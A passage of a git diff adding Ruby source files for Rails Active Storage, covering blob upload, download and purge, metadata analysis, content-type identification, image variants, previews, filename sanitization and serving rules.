+  # Normally, you do not have to call this method directly at all. Use the +create_and_upload!+ class method instead.
+  # If you do use this method directly, make sure you are using it on a persisted Blob as otherwise another blob's
+  # data might get overwritten on the service.
+  def upload(io, identify: true)
+    unfurl io, identify: identify
+    upload_without_unfurling io
+  end
+
+  def unfurl(io, identify: true) # :nodoc:
+    self.checksum     = compute_checksum_in_chunks(io)
+    self.content_type = extract_content_type(io) if content_type.nil? || identify
+    self.byte_size    = io.size
+    self.identified   = true
+  end
+
+  def upload_without_unfurling(io) # :nodoc:
+    service.upload key, io, checksum: checksum, **service_metadata
+  end
+
+  def compose(keys) # :nodoc:
+    self.composed = true
+    service.compose(keys, key, **service_metadata)
+  end
+
+  # Downloads the file associated with this blob. If no block is given, the entire file is read into memory and returned.
+  # That'll use a lot of RAM for very large files. If a block is given, then the download is streamed and yielded in chunks.
+  def download(&block)
+    service.download key, &block
+  end
+
+  # Downloads a part of the file associated with this blob.
+  def download_chunk(range)
+    service.download_chunk key, range
+  end
+
+  # Downloads the blob to a temporary file on disk. If a block is given, the file is automatically closed and unlinked
+  # after the block executed. Otherwise the file is returned and you are responsible for closing and unlinking.
+  #
+  # The tempfile's name is prefixed with +ActiveStorage-+ and the blob's ID. Its extension matches that of the blob.
+  #
+  # By default, the tempfile is created in <tt>Dir.tmpdir</tt>. Pass +tmpdir:+ to create it in a different directory:
+  #
+  #   blob.open(tmpdir: "/path/to/tmp") do |file|
+  #     # ...
+  #   end
+  #
+  # Raises ActiveStorage::IntegrityError if the downloaded data does not match the blob's checksum.
+  def open(tmpdir: nil, &block)
+    if local_io
+      open_local_io(tmpdir: tmpdir, &block)
+    else
+      service.open(
+        key,
+        checksum: checksum,
+        verify: !composed,
+        name: [ "ActiveStorage-#{id}-", filename.extension_with_delimiter ],
+        tmpdir: tmpdir,
+        &block
+      )
+    end
+  end
+
+  def mirror_later # :nodoc:
+    service.mirror_later key, checksum: checksum if service.respond_to?(:mirror_later)
+  end
+
+  # Deletes the files on the service associated with the blob. This should only be done if the blob is going to be
+  # deleted as well or you will essentially have a dead reference. It's recommended to use #purge and #purge_later
+  # methods in most circumstances.
+  def delete
+    service.delete(key)
+    service.delete_prefixed("variants/#{key}/") if image?
+  end
+
+  # Destroys the blob record and then deletes the file on the service. This is the recommended way to dispose of unwanted
+  # blobs. Note, though, that deleting the file off the service will initiate an HTTP connection to the service, which may
+  # be slow or prevented, so you should not use this method inside a transaction or in callbacks. Use #purge_later instead.
+  def purge
+    destroy
+    delete if previously_persisted?
+  rescue ActiveRecord::InvalidForeignKey
+  end
+
+  # Enqueues an ActiveStorage::PurgeJob to call #purge. This is the recommended way to purge blobs from a transaction,
+  # an Active Record callback, or in any other real-time scenario.
+  def purge_later
+    ActiveStorage::PurgeJob.perform_later(self)
+  end
+
+  # Returns an instance of service, which can be configured globally or per attachment
+  def service
+    services.fetch(service_name)
+  end
+
+  private
+    # Opens a local io for reading, yielding a file-like object. If the io
+    # is already a File with a path, yield it directly. Otherwise, copy to
+    # a tempfile first since analyzers need file paths.
+    def open_local_io(tmpdir:)
+      if local_io.respond_to?(:path) && local_io.path && File.exist?(local_io.path)
+        local_io.rewind if local_io.respond_to?(:rewind)
+        yield local_io
+      else
+        Tempfile.open([ "ActiveStorage-#{id}-", filename.extension_with_delimiter ], tmpdir) do |file|
+          file.binmode
+          local_io.rewind if local_io.respond_to?(:rewind)
+          IO.copy_stream(local_io, file)
+          local_io.rewind if local_io.respond_to?(:rewind)
+          file.rewind
+          yield file
+        end
+      end
+    end
+
+    def compute_checksum_in_chunks(io)
+      raise ArgumentError, "io must be rewindable" unless io.respond_to?(:rewind)
+
+      OpenSSL::Digest::MD5.new.tap do |checksum|
+        read_buffer = "".b
+        while io.read(5.megabytes, read_buffer)
+          checksum << read_buffer
+        end
+
+        io.rewind
+      end.base64digest
+    end
+
+    def extract_content_type(io)
+      Marcel::MimeType.for io, name: filename.to_s, declared_type: content_type
+    end
+
+    def web_image?
+      ActiveStorage.web_image_content_types.include?(content_type)
+    end
+
+    def service_metadata
+      if forcibly_serve_as_binary?
+        { content_type: ActiveStorage.binary_content_type, disposition: :attachment, filename: filename, custom_metadata: custom_metadata }
+      elsif !allowed_inline?
+        { content_type: content_type, disposition: :attachment, filename: filename, custom_metadata: custom_metadata }
+      else
+        { content_type: content_type, custom_metadata: custom_metadata }
+      end
+    end
+
+    def touch_attachments
+      attachments.then do |relation|
+        if ActiveStorage.touch_attachment_records
+          relation.includes(:record)
+        else
+          relation
+        end
+      end.each do |attachment|
+        attachment.touch
+      end
+    end
+
+    def update_service_metadata
+      service.update_metadata key, **service_metadata if service_metadata.any?
+    end
+end
+
+ActiveSupport.run_load_hooks :active_storage_blob, ActiveStorage::Blob
diff --git a/activestorage/app/models/active_storage/blob/analyzable.rb b/activestorage/app/models/active_storage/blob/analyzable.rb
new file mode 100644
index 0000000000000..d0f16d6e29965
--- /dev/null
+++ b/activestorage/app/models/active_storage/blob/analyzable.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "active_storage/analyzer/null_analyzer"
+
+# = Active Storage \Blob \Analyzable
+module ActiveStorage::Blob::Analyzable
+  # Extracts and stores metadata from the file associated with this blob using a relevant analyzer. Active Storage comes
+  # with built-in analyzers for images and videos. See ActiveStorage::Analyzer::ImageAnalyzer and
+  # ActiveStorage::Analyzer::VideoAnalyzer for information about the specific attributes they extract and the third-party
+  # libraries they require.
+  #
+  # To choose the analyzer for a blob, Active Storage calls +accept?+ on each registered analyzer in order. It uses the
+  # first analyzer for which +accept?+ returns true when given the blob. If no registered analyzer accepts the blob, no
+  # metadata is extracted from it.
+  #
+  # In a \Rails application, add or remove analyzers by manipulating +Rails.application.config.active_storage.analyzers+
+  # in an initializer:
+  #
+  #   # Add a custom analyzer for Microsoft Office documents:
+  #   Rails.application.config.active_storage.analyzers.append DOCXAnalyzer
+  #
+  #   # Remove the built-in video analyzer:
+  #   Rails.application.config.active_storage.analyzers.delete ActiveStorage::Analyzer::VideoAnalyzer
+  #
+  # Outside of a \Rails application, manipulate +ActiveStorage.analyzers+ instead.
+  #
+  # You won't ordinarily need to call this method from a \Rails application. New blobs are automatically and asynchronously
+  # analyzed via #analyze_later when they're attached for the first time.
+  def analyze
+    update! metadata: metadata.merge(extract_metadata_via_analyzer)
+  end
+
+  # Extracts metadata but does not persist it. Used during the upload flow
+  # when the blob hasn't been saved yet.
+  def analyze_without_saving
+    self.metadata = metadata.merge(extract_metadata_via_analyzer)
+  end
+
+  # Enqueues an ActiveStorage::AnalyzeJob which calls #analyze, or calls #analyze inline based on analyzer class configuration.
+  #
+  # This method is automatically called for a blob when it's attached for the first time. You can call it to analyze a blob
+  # again (e.g. if you add a new analyzer or modify an existing one).
+  def analyze_later
+    if analyzer_class.analyze_later?
+      ActiveStorage::AnalyzeJob.perform_later(self)
+    else
+      analyze
+    end
+  end
+
+  # Returns true if the blob has been analyzed.
+  def analyzed?
+    analyzed
+  end
+
+  private
+    def extract_metadata_via_analyzer
+      analyzer.metadata.merge(analyzed: true)
+    end
+
+    def analyzer
+      analyzer_class.new(self)
+    end
+
+    def analyzer_class
+      ActiveStorage.analyzers.detect { |klass| klass.accept?(self) } || ActiveStorage::Analyzer::NullAnalyzer
+    end
+end
diff --git a/activestorage/app/models/active_storage/blob/identifiable.rb b/activestorage/app/models/active_storage/blob/identifiable.rb
new file mode 100644
index 0000000000000..8bbf7c36f1e84
--- /dev/null
+++ b/activestorage/app/models/active_storage/blob/identifiable.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+# = Active Storage \Blob \Identifiable
+module ActiveStorage::Blob::Identifiable
+  def identify
+    identify_without_saving
+    save!
+  end
+
+  def identify_without_saving
+    unless identified?
+      self.content_type = identify_content_type
+      self.identified = true
+    end
+  end
+
+  def identified?
+    identified
+  end
+
+  private
+    def identify_content_type
+      Marcel::MimeType.for download_identifiable_chunk, name: filename.to_s, declared_type: content_type
+    end
+
+    def download_identifiable_chunk
+      if byte_size.positive?
+        service.download_chunk key, 0...4.kilobytes
+      else
+        ""
+      end
+    end
+end
diff --git a/activestorage/app/models/active_storage/blob/representable.rb b/activestorage/app/models/active_storage/blob/representable.rb
new file mode 100644
index 0000000000000..b43ef95ba539e
--- /dev/null
+++ b/activestorage/app/models/active_storage/blob/representable.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+require "marcel"
+
+module ActiveStorage::Blob::Representable
+  extend ActiveSupport::Concern
+
+  included do
+    has_many :variant_records, class_name: "ActiveStorage::VariantRecord", dependent: false
+    before_destroy { variant_records.destroy_all if ActiveStorage.track_variants }
+
+    has_one_attached :preview_image
+  end
+
+  # Returns an ActiveStorage::Variant or ActiveStorage::VariantWithRecord instance with the set of +transformations+ provided.
+  # This is only relevant for image files, and it allows any image to be transformed for size, colors, and the like. Example:
+  #
+  #   avatar.variant(resize_to_limit: [100, 100]).processed.url
+  #
+  # This will create and process a variant of the avatar blob that's constrained to a height and width of 100px.
+  # Then it'll upload said variant to the service according to a derivative key of the blob and the transformations.
+  #
+  # Frequently, though, you don't actually want to transform the variant right away. But rather simply refer to a
+  # specific variant that can be created by a controller on-demand. Like so:
+  #
+  #   <%= image_tag Current.user.avatar.variant(resize_to_limit: [100, 100]) %>
+  #
+  # This will create a URL for that specific blob with that specific variant, which the ActiveStorage::Representations::ProxyController
+  # or ActiveStorage::Representations::RedirectController can then produce on-demand.
+  #
+  # Raises ActiveStorage::InvariableError if the variant processor cannot
+  # transform the blob. To determine whether a blob is variable, call
+  # ActiveStorage::Blob#variable?.
+  #
+  # ==== Options
+  #
+  # Options are defined by the {image_processing gem}[https://github.com/janko/image_processing],
+  # and depend on which variant processor you are using:
+  # {Vips}[https://github.com/janko/image_processing/blob/master/doc/vips.md] or
+  # {MiniMagick}[https://github.com/janko/image_processing/blob/master/doc/minimagick.md].
+  # However, both variant processors support the following options:
+  #
+  # [+:resize_to_limit+]
+  #   Downsizes the image to fit within the specified dimensions while retaining
+  #   the original aspect ratio. Will only resize the image if it's larger than
+  #   the specified dimensions.
+  #
+  #       user.avatar.variant(resize_to_limit: [100, 100])
+  #
+  # [+:resize_to_fit+]
+  #   Resizes the image to fit within the specified dimensions while retaining
+  #   the original aspect ratio. Will downsize the image if it's larger than the
+  #   specified dimensions or upsize if it's smaller.
+  #
+  #       user.avatar.variant(resize_to_fit: [100, 100])
+  #
+  # [+:resize_to_fill+]
+  #   Resizes the image to fill the specified dimensions while retaining the
+  #   original aspect ratio. If necessary, will crop the image in the larger
+  #   dimension.
+  #
+  #       user.avatar.variant(resize_to_fill: [100, 100])
+  #
+  # [+:resize_and_pad+]
+  #   Resizes the image to fit within the specified dimensions while retaining
+  #   the original aspect ratio. If necessary, will pad the remaining area with
+  #   transparent color if source image has alpha channel, black otherwise.
+  #
+  #       user.avatar.variant(resize_and_pad: [100, 100])
+  #
+  # [+:crop+]
+  #   Extracts an area from an image. The first two arguments are the left and
+  #   top edges of area to extract, while the last two arguments are the width
+  #   and height of the area to extract.
+  #
+  #       user.avatar.variant(crop: [20, 50, 300, 300])
+  #
+  # [+:rotate+]
+  #   Rotates the image by the specified angle.
+  #
+  #       user.avatar.variant(rotate: 90)
+  #
+  # Some options, including those listed above, can accept additional
+  # processor-specific values which can be passed as a trailing hash:
+  #
+  #     <!-- Vips supports configuring `crop` for many of its transformations -->
+  #     <%= image_tag user.avatar.variant(resize_to_fill: [100, 100, { crop: :centre }]) %>
+  #
+  # If migrating an existing application between MiniMagick and Vips, you will
+  # need to update processor-specific options:
+  #
+  #     <!-- MiniMagick -->
+  #     <%= image_tag user.avatar.variant(resize_to_limit: [100, 100], format: :jpeg,
+  #           sampling_factor: "4:2:0", strip: true, interlace: "JPEG", colorspace: "sRGB", quality: 80) %>
+  #
+  #     <!-- Vips -->
+  #     <%= image_tag user.avatar.variant(resize_to_limit: [100, 100], format: :jpeg,
+  #           saver: { subsample_mode: "on", strip: true, interlace: true, quality: 80 }) %>
+  #
+  def variant(transformations)
+    if variable?
+      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
+    else
+      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
+    end
+  end
+
+  # Returns true if the variant processor can transform the blob (its content
+  # type is in +ActiveStorage.variable_content_types+).
+  def variable?
+    ActiveStorage.variable_content_types.include?(content_type)
+  end
+
+
+  # Returns an ActiveStorage::Preview instance with the set of +transformations+ provided. A preview is an image generated
+  # from a non-image blob. Active Storage comes with built-in previewers for videos and PDF documents. The video previewer
+  # extracts the first frame from a video and the PDF previewer extracts the first page from a PDF document.
+  #
+  #   blob.preview(resize_to_limit: [100, 100]).processed.url
+  #
+  # Avoid processing previews synchronously in views. Instead, link to a controller action that processes them on demand.
+  # Active Storage provides one, but you may want to create your own (for example, if you need authentication). Here’s
+  # how to use the built-in version:
+  #
+  #   <%= image_tag video.preview(resize_to_limit: [100, 100]) %>
+  #
+  # This method raises ActiveStorage::UnpreviewableError if no previewer accepts the receiving blob. To determine
+  # whether a blob is accepted by any previewer, call ActiveStorage::Blob#previewable?.
+  def preview(transformations)
+    if previewable?
+      ActiveStorage::Preview.new(self, transformations)
+    else
+      raise ActiveStorage::UnpreviewableError, "No previewer found for blob with ID=#{id} and content_type=#{content_type}"
+    end
+  end
+
+  # Returns true if any registered previewer accepts the blob. By default, this will return true for videos and PDF documents.
+  def previewable?
+    ActiveStorage.previewers.any? { |klass| klass.accept?(self) }
+  end
+
+
+  # Returns an ActiveStorage::Preview for a previewable blob or an ActiveStorage::Variant for a variable image blob.
+  #
+  #   blob.representation(resize_to_limit: [100, 100]).processed.url
+  #
+  # Raises ActiveStorage::UnrepresentableError if the receiving blob is neither variable nor previewable. Call
+  # ActiveStorage::Blob#representable? to determine whether a blob is representable.
+  #
+  # See ActiveStorage::Blob#preview and ActiveStorage::Blob#variant for more information.
+  def representation(transformations)
+    case
+    when previewable?
+      preview transformations
+    when variable?
+      variant transformations
+    else
+      raise ActiveStorage::UnrepresentableError, "No previewer found and can't transform blob with ID=#{id} and content_type=#{content_type}"
+    end
+  end
+
+  # Returns true if the blob is variable or previewable.
+  def representable?
+    variable? || previewable?
+  end
+
+  private
+    def default_variant_transformations
+      { format: default_variant_format }
+    end
+
+    def default_variant_format
+      if web_image?
+        format || :png
+      else
+        :png
+      end
+    end
+
+    def format
+      if filename.extension.present? && Marcel::MimeType.for(extension: filename.extension) == content_type
+        filename.extension
+      else
+        Marcel::Magic.new(content_type.to_s).extensions.first
+      end
+    end
+
+    def variant_class
+      ActiveStorage.track_variants ? ActiveStorage::VariantWithRecord : ActiveStorage::Variant
+    end
+end
diff --git a/activestorage/app/models/active_storage/blob/servable.rb b/activestorage/app/models/active_storage/blob/servable.rb
new file mode 100644
index 0000000000000..51fcc39d0aff9
--- /dev/null
+++ b/activestorage/app/models/active_storage/blob/servable.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActiveStorage::Blob::Servable # :nodoc:
+  def content_type_for_serving
+    forcibly_serve_as_binary? ? ActiveStorage.binary_content_type : content_type
+  end
+
+  def forced_disposition_for_serving
+    if forcibly_serve_as_binary? || !allowed_inline?
+      :attachment
+    end
+  end
+
+  private
+    def forcibly_serve_as_binary?
+      ActiveStorage.content_types_to_serve_as_binary.include?(content_type)
+    end
+
+    def allowed_inline?
+      ActiveStorage.content_types_allowed_inline.include?(content_type)
+    end
+end
diff --git a/activestorage/app/models/active_storage/current.rb b/activestorage/app/models/active_storage/current.rb
new file mode 100644
index 0000000000000..b282707ddacec
--- /dev/null
+++ b/activestorage/app/models/active_storage/current.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ActiveStorage::Current < ActiveSupport::CurrentAttributes # :nodoc:
+  attribute :url_options
+end
diff --git a/activestorage/app/models/active_storage/filename.rb b/activestorage/app/models/active_storage/filename.rb
new file mode 100644
index 0000000000000..942318d3bcde2
--- /dev/null
+++ b/activestorage/app/models/active_storage/filename.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+# = Active Storage \Filename
+#
+# Encapsulates a string representing a filename to provide convenient access to parts of it and sanitization.
+# A Filename instance is returned by ActiveStorage::Blob#filename, and is comparable so it can be used for sorting.
+class ActiveStorage::Filename
+  include Comparable
+
+  class << self
+    # Returns a Filename instance based on the given filename. If the filename is a Filename, it is
+    # returned unmodified. If it is a String, it is passed to ActiveStorage::Filename.new.
+    def wrap(filename)
+      filename.kind_of?(self) ? filename : new(filename)
+    end
+  end
+
+  def initialize(filename)
+    @filename = filename
+  end
+
+  # Returns the part of the filename preceding any extension.
+  #
+  #   ActiveStorage::Filename.new("racecar.jpg").base # => "racecar"
+  #   ActiveStorage::Filename.new("racecar").base     # => "racecar"
+  #   ActiveStorage::Filename.new(".gitignore").base  # => ".gitignore"
+  def base
+    File.basename @filename, extension_with_delimiter
+  end
+
+  # Returns the extension of the filename (i.e. the substring following the last dot, excluding a dot at the
+  # beginning) with the dot that precedes it. If the filename has no extension, an empty string is returned.
+  #
+  #   ActiveStorage::Filename.new("racecar.jpg").extension_with_delimiter # => ".jpg"
+  #   ActiveStorage::Filename.new("racecar").extension_with_delimiter     # => ""
+  #   ActiveStorage::Filename.new(".gitignore").extension_with_delimiter  # => ""
+  def extension_with_delimiter
+    File.extname @filename
+  end
+
+  # Returns the extension of the filename (i.e. the substring following the last dot, excluding a dot at
+  # the beginning). If the filename has no extension, an empty string is returned.
+  #
+  #   ActiveStorage::Filename.new("racecar.jpg").extension_without_delimiter # => "jpg"
+  #   ActiveStorage::Filename.new("racecar").extension_without_delimiter     # => ""
+  #   ActiveStorage::Filename.new(".gitignore").extension_without_delimiter  # => ""
+  def extension_without_delimiter
+    extension_with_delimiter.from(1).to_s
+  end
+
+  alias_method :extension, :extension_without_delimiter
+
+  # Returns the sanitized filename.
+  #
+  #   ActiveStorage::Filename.new("foo:bar.jpg").sanitized # => "foo-bar.jpg"
+  #   ActiveStorage::Filename.new("foo/bar.jpg").sanitized # => "foo-bar.jpg"
+  #
+  # Characters considered unsafe for storage (e.g. \, $, and the RTL override character) are replaced with a dash.
+  def sanitized
+    @filename.encode(Encoding::UTF_8, invalid: :replace, undef: :replace, replace: "�").strip.tr("\u{202E}%$|:;/<>?*\"\t\r\n\\", "-")
+  end
+
+  # Returns the sanitized version of the filename.
+  def to_s
+    sanitized.to_s
+  end
+  alias_method :to_str, :to_s
+
+  def as_json(*)
+    to_s
+  end
+
+  def <=>(other)
+    to_s.downcase <=> other.to_s.downcase
+  end
+end
diff --git a/activestorage/app/models/active_storage/named_variant.rb b/activestorage/app/models/active_storage/named_variant.rb
new file mode 100644
index 0000000000000..17599746f212c
--- /dev/null
+++ b/activestorage/app/models/active_storage/named_variant.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class ActiveStorage::NamedVariant # :nodoc:
+  attr_reader :transformations, :preprocessed
+
+  def initialize(options)
+    @preprocessed      = options[:preprocessed]
+    @process_option    = options[:process]
+    @transformations   = options.except(:preprocessed, :process)
+
+    if options.key?(:preprocessed)
+      ActiveStorage.deprecator.warn(<<~MSG.squish)
+        The :preprocessed option is deprecated and will be removed in Rails 9.0.
+        Use the :process option instead. Replace `preprocessed: true` with `process: :later`
+        and `preprocessed: false` with `process: :lazily`.
+      MSG
+    end
+  end
+
+  def process(record)
+    return @process_option if @process_option
+    preprocessed?(record) ? :later : :lazily
+  end
+
+  private
+    def preprocessed?(record)
+      case preprocessed
+      when Symbol
+        record.send(preprocessed)
+      when Proc
+        preprocessed.call(record)
+      else
+        preprocessed
+      end
+    end
+end
diff --git a/activestorage/app/models/active_storage/preview.rb b/activestorage/app/models/active_storage/preview.rb
new file mode 100644
index 0000000000000..ad9b409020ed8
--- /dev/null
+++ b/activestorage/app/models/active_storage/preview.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+# = Active Storage \Preview
+#
+# Some non-image blobs can be previewed: that is, they can be presented as images. A video blob can be previewed by
+# extracting its first frame, and a PDF blob can be previewed by extracting its first page.
+#
+# A previewer extracts a preview image from a blob. Active Storage provides previewers for videos and PDFs.
+# ActiveStorage::Previewer::VideoPreviewer is used for videos whereas ActiveStorage::Previewer::PopplerPDFPreviewer
+# and ActiveStorage::Previewer::MuPDFPreviewer are used for PDFs. Build custom previewers by
+# subclassing ActiveStorage::Previewer and implementing the requisite methods. Consult the ActiveStorage::Previewer
+# documentation for more details on what's required of previewers.
+#
+# To choose the previewer for a blob, Active Storage calls +accept?+ on each registered previewer in order. It uses the
+# first previewer for which +accept?+ returns true when given the blob. In a \Rails application, add or remove previewers
+# by manipulating +Rails.application.config.active_storage.previewers+ in an initializer:
+#
+#   Rails.application.config.active_storage.previewers
+#   # => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer ]
+#
+#   # Add a custom previewer for Microsoft Office documents:
+#   Rails.application.config.active_storage.previewers << DOCXPreviewer
+#   # => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer, DOCXPreviewer ]
+#
+# Outside of a \Rails application, modify +ActiveStorage.previewers+ instead.
+#
+# The built-in previewers rely on third-party system libraries. Specifically, the built-in video previewer requires
+# {FFmpeg}[https://www.ffmpeg.org]. Two PDF previewers are provided: one requires {Poppler}[https://poppler.freedesktop.org],
+# and the other requires {muPDF}[https://mupdf.com] (version 1.8 or newer). To preview PDFs, install either Poppler or muPDF.
+#
+# These libraries are not provided by \Rails. You must install them yourself to use the built-in previewers. Before you
+# install and use third-party software, make sure you understand the licensing implications of doing so.
+class ActiveStorage::Preview
+  include ActiveStorage::Blob::Servable
+
+  class UnprocessedError < StandardError; end
+
+  delegate :filename, :content_type, to: :presentation
+
+  attr_reader :blob, :variation
+
+  def initialize(blob, variation_or_variation_key)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation_or_variation_key)
+  end
+
+  # Processes the preview if it has not been processed yet. Returns the receiving +ActiveStorage::Preview+ instance for convenience:
+  #
+  #   blob.preview(resize_to_limit: [100, 100]).processed.url
+  #
+  # Processing a preview generates an image from its blob and attaches the preview image to the blob. Because the preview
+  # image is stored with the blob, it is only generated once.
+  def processed
+    process unless processed?
+    variant.processed if variant?
+    self
+  end
+
+  # Returns the blob's attached preview image.
+  def image
+    blob.preview_image
+  end
+
+  # Returns the URL of the preview's variant on the service. Raises ActiveStorage::Preview::UnprocessedError if the
+  # preview has not been processed yet.
+  #
+  # This method synchronously processes a variant of the preview image, so do not call it in views. Instead, generate
+  # a stable URL that redirects to the URL returned by this method.
+  def url(**options)
+    if processed?
+      presentation.url(**options)
+    else
+      raise UnprocessedError
+    end
+  end
+
+  # Returns a combination key of the blob and the variation that together identifies a specific variant.
+  def key
+    if processed?
+      presentation.key
+    else
+      raise UnprocessedError
+    end
+  end
+
+  # Downloads the file associated with this preview's variant. If no block is
+  # given, the entire file is read into memory and returned. That'll use a lot
+  # of RAM for very large files. If a block is given, then the download is
+  # streamed and yielded in chunks. Raises ActiveStorage::Preview::UnprocessedError
+  # if the preview has not been processed yet.
+  def download(&block)
+    if processed?
+      presentation.download(&block)
+    else
+      raise UnprocessedError
+    end
+  end
+
+  def processed?
+    image.attached?
+  end
+
+  private
+    def process
+      previewer.preview(service_name: blob.service_name) do |attachable|
+        ActiveRecord::Base.connected_to(role: ActiveRecord.writing_role) do
+          image.attach(attachable)
+        end
+      end
+    end
+
+    def variant
+      @variant ||= image.variant(variation)
+    end
+
+    def variant?
+      variation.transformations.present?
+    end
+
+    def presentation
+      variant? ? variant.processed : image
+    end
+
+
+    def previewer
+      previewer_class.new(blob)
+    end
+
+    def previewer_class
+      ActiveStorage.previewers.detect { |klass| klass.accept?(blob) }
+    end
+end
diff --git a/activestorage/app/models/active_storage/record.rb b/activestorage/app/models/active_storage/record.rb
new file mode 100644
index 0000000000000..0b2772596d76f
--- /dev/null
+++ b/activestorage/app/models/active_storage/record.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class ActiveStorage::Record < ActiveRecord::Base # :nodoc:
+  self.abstract_class = true
+end
+
+ActiveSupport.run_load_hooks :active_storage_record, ActiveStorage::Record
diff --git a/activestorage/app/models/active_storage/variant.rb b/activestorage/app/models/active_storage/variant.rb
new file mode 100644
index 0000000000000..1e1575a194b6c
--- /dev/null
+++ b/activestorage/app/models/active_storage/variant.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+# = Active Storage \Variant
+#
+# Image blobs can have variants that are the result of a set of transformations applied to the original.
+# These variants are used to create thumbnails, fixed-size avatars, or any other derivative image from the
+# original.
+#
+# Variants rely on {ImageProcessing}[https://github.com/janko/image_processing] gem for the actual transformations
+# of the file, so you must add <tt>gem "image_processing"</tt> to your Gemfile if you wish to use variants. By
+# default, images will be processed with {libvips}[http://libvips.github.io/libvips/] using the
+# {ruby-vips}[https://github.com/libvips/ruby-vips] gem, but you can also switch to the
+# {ImageMagick}[http://imagemagick.org] processor operated by the {MiniMagick}[https://github.com/minimagick/minimagick]
+# gem).
+#
+#   Rails.application.config.active_storage.variant_processor
+#   # => :vips
+#
+#   Rails.application.config.active_storage.variant_processor = :mini_magick
+#   # => :mini_magick
+#
+# Note that to create a variant it's necessary to download the entire blob file from the service. Because of this process,
+# you also want to be considerate about when the variant is actually processed. You shouldn't be processing variants inline
+# in a template, for example. Delay the processing to an on-demand controller, like the one provided in
+# ActiveStorage::Representations::ProxyController and ActiveStorage::Representations::RedirectController.
+#
+# To refer to such a delayed on-demand variant, simply link to the variant through the resolved route provided
+# by Active Storage like so:
+#
+#   <%= image_tag Current.user.avatar.variant(resize_to_limit: [100, 100]) %>
+#
+# This will create a URL for that specific blob with that specific variant, which the ActiveStorage::Representations::ProxyController
+# or ActiveStorage::Representations::RedirectController can then produce on-demand.
+#
+# When you do want to actually produce the variant needed, call +processed+. This will check that the variant
+# has already been processed and uploaded to the service, and, if so, just return that. Otherwise it will perform
+# the transformations, upload the variant to the service, and return itself again. Example:
+#
+#   avatar.variant(resize_to_limit: [100, 100]).processed.url
+#
+# This will create and process a variant of the avatar blob that's constrained to a height and width of 100.
+# Then it'll upload said variant to the service according to a derivative key of the blob and the transformations.
+#
+# You can combine any number of ImageMagick/libvips operations into a variant, as well as any macros provided by the
+# ImageProcessing gem (such as +resize_to_limit+):
+#
+#   avatar.variant(resize_to_limit: [800, 800], colourspace: "b-w", rotate: "-90")
+#
+# Visit the following links for a list of available ImageProcessing commands and ImageMagick/libvips operations:
+#
+# * {ImageProcessing::MiniMagick}[https://github.com/janko/image_processing/blob/master/doc/minimagick.md#methods]
+# * {ImageMagick reference}[https://www.imagemagick.org/script/mogrify.php]
+# * {ImageProcessing::Vips}[https://github.com/janko/image_processing/blob/master/doc/vips.md#methods]
+# * {ruby-vips reference}[http://www.rubydoc.info/gems/ruby-vips/Vips/Image]
+class ActiveStorage::Variant
+  include ActiveStorage::Blob::Servable
+
+  attr_reader :blob, :variation
+  delegate :service, to: :blob
+  delegate :content_type, to: :variation
+
+  def initialize(blob, variation_or_variation_key)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation_or_variation_key)
+  end
+
+  # Returns the variant instance itself after it's been processed or an existing processing has been found on the service.
+  def processed
+    process unless processed?
+    self
+  end
+
+  # Returns a combination key of the blob and the variation that together identifies a specific variant.
+  def key
+    "variants/#{blob.key}/#{OpenSSL::Digest::SHA256.hexdigest(variation.key)}"
+  end
+
+  # Returns the URL of the blob variant on the service. See ActiveStorage::Blob#url for details.
+  #
+  # Use <tt>url_for(variant)</tt> (or the implied form, like <tt>link_to variant</tt> or <tt>redirect_to variant</tt>) to get the stable URL
+  # for a variant that points to the ActiveStorage::Representations::ProxyController or ActiveStorage::Representations::RedirectController,
+  # which in turn will use this +service_call+ method for its redirection.
+  def url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline)
+    service.url key, expires_in: expires_in, disposition: disposition, filename: filename, content_type: content_type
+  end
+
+  # Downloads the file associated with this variant. If no block is given, the entire file is read into memory and returned.
+  # That'll use a lot of RAM for very large files. If a block is given, then the download is streamed and yielded in chunks.
+  def download(&block)
+    service.download key, &block
+  end
+
+  def filename
+    ActiveStorage::Filename.new "#{blob.filename.base}.#{variation.format.downcase}"
+  end
+
+  # Returns the receiving variant. Allows ActiveStorage::Variant and ActiveStorage::Preview instances to be used interchangeably.
+  def image
+    self
+  end
+
+  # Deletes variant file from service.
+  def destroy
+    service.delete(key)
+  end
+
+  # Returns true if the variant has already been processed and uploaded to the service.
+  def processed?
+    service.exist?(key)
+  end
+
+  # Process the variant from a local io, avoiding a download from the service.
+  # This is an optimization for when the original file is still available locally
+  # (e.g., during the initial upload flow).
+  def process_from_io(io) # :nodoc:
+    return if processed?
+
+    variation.transform(io) do |output|
+      service.upload(key, output, content_type: content_type)
+    end
+  end
+
+  private
+    def process
+      blob.open do |input|
+        variation.transform(input) do |output|
+          service.upload(key, output, content_type: content_type)
+        end
+      end
+    end
+end
diff --git a/activestorage/app/models/active_storage/variant_record.rb b/activestorage/app/models/active_storage/variant_record.rb
new file mode 100644
index 0000000000000..76b49d57abd4c
--- /dev/null
+++ b/activestorage/app/models/active_storage/variant_record.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class ActiveStorage::VariantRecord < ActiveStorage::Record
+  belongs_to :blob
+  has_one_attached :image
+end
+
+ActiveSupport.run_load_hooks :active_storage_variant_record, ActiveStorage::VariantRecord
